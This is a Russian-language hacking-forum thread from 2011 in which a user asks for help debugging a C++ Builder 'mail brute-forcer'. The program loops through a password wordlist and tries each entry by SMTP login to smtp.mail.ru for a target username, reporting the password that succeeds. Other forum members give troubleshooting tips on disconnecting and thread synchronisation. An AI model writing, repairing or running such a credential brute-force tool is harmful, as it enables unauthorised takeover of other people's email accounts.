C++ брутер мыл

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by ree4, 27 Nov 2011.

  1. ree4

    ree4 New Member

    Joined:
    9 Mar 2011
    Messages:
    28
    Likes Received:
    2
    Reputations:
    0
    всем привет, хочу написать брутер мыл в билдере.
    использую компонент IdHTTP.
    проверка пароля идёт в цикле, но при ошибочном подключении программа просто выдаёт ошибку и вылетает из цикла. незнаю, может я не так использую обработку исключений, помогите с задачей плз.
    вот код
    Code:
    TStringList *pass = new TStringList;
    //---------------------------------------------------------------------------
    __fastcall TForm1::TForm1(TComponent* Owner)
            : TForm(Owner)
    {
    }
    //---------------------------------------------------------------------------
    
    void __fastcall TForm1::Button1Click(TObject *Sender)
    {
            IdSMTP1->AuthenticationType = atLogin;
            IdSMTP1->UserId = Edit1->Text; //логин на сервере
            for(int i = 0; i < pass->Count; i++)
            {
                    IdSMTP1->Password = pass->Strings[i]; // пароль
                    IdSMTP1->Host = "smtp.mail.ru"; // URL smtp
                    try
                    {
                            IdSMTP1->Connect();
                            ShowMessage(pass->Strings[i]);
                    }
                    catch(...)
                    {
                            Label1->Caption = i;
                    }
            }
    }
    //---------------------------------------------------------------------------
    
    void __fastcall TForm1::Button2Click(TObject *Sender)
    {
            OpenDialog1->Execute();
            pass->LoadFromFile(OpenDialog1->FileName);
            Button1->Enabled = true;
    }
     
  2. ree4

    ree4 New Member

    Joined:
    9 Mar 2011
    Messages:
    28
    Likes Received:
    2
    Reputations:
    0
    не поможет никто?
     
  3. Feonor

    Feonor Elder - Старейшина

    Joined:
    23 Jul 2008
    Messages:
    128
    Likes Received:
    52
    Reputations:
    19
    добавь в finally блок
    PHP:
    IdSMTP1->Disconnect();
     
    #3 Feonor, 30 Nov 2011
    Last edited: 30 Nov 2011
  4. xophet

    xophet Member

    Joined:
    16 Apr 2011
    Messages:
    617
    Likes Received:
    49
    Reputations:
    5
    Текст ошибки?
    Connection Closed Gracefully?
     
  5. ree4

    ree4 New Member

    Joined:
    9 Mar 2011
    Messages:
    28
    Likes Received:
    2
    Reputations:
    0
    [​IMG]
    вот такая ошибка


    и вот ещё исходник http://rghost.ru/32795341
     
    #5 ree4, 1 Dec 2011
    Last edited: 1 Dec 2011
  6. Feonor

    Feonor Elder - Старейшина

    Joined:
    23 Jul 2008
    Messages:
    128
    Likes Received:
    52
    Reputations:
    19
    Проблемы с отрисовкой. ты отладка программ знаешь что такое? как вы народ программируете то? жуть. у тебя в первом посте даже вопрос не про это.. бррррр. чувствую тут нужен faq по процессу проектирования ПО... хотя вряд ли кто читать будет. теги даже ввести не хотят... ну вот как так то, а?
     
  7. ree4

    ree4 New Member

    Joined:
    9 Mar 2011
    Messages:
    28
    Likes Received:
    2
    Reputations:
    0
    ну вот я подругому немного в исходник переделал.
    вы хоть скаэете в чём проблема?
     
  8. xophet

    xophet Member

    Joined:
    16 Apr 2011
    Messages:
    617
    Likes Received:
    49
    Reputations:
    5
    Обращение к визуальным компонентам из потока
     
  9. ree4

    ree4 New Member

    Joined:
    9 Mar 2011
    Messages:
    28
    Likes Received:
    2
    Reputations:
    0
    это я исправил, просто сделал синхронизацию потока.
    только возникла уже проблема с самим компонентом, чтото он под все пароли подключается
     
    #9 ree4, 2 Dec 2011
    Last edited: 3 Dec 2011
  10. ree4

    ree4 New Member

    Joined:
    9 Mar 2011
    Messages:
    28
    Likes Received:
    2
    Reputations:
    0
    вот исправленная версия Тык
     
  11. ree4

    ree4 New Member

    Joined:
    9 Mar 2011
    Messages:
    28
    Likes Received:
    2
    Reputations:
    0
    никто не поможет?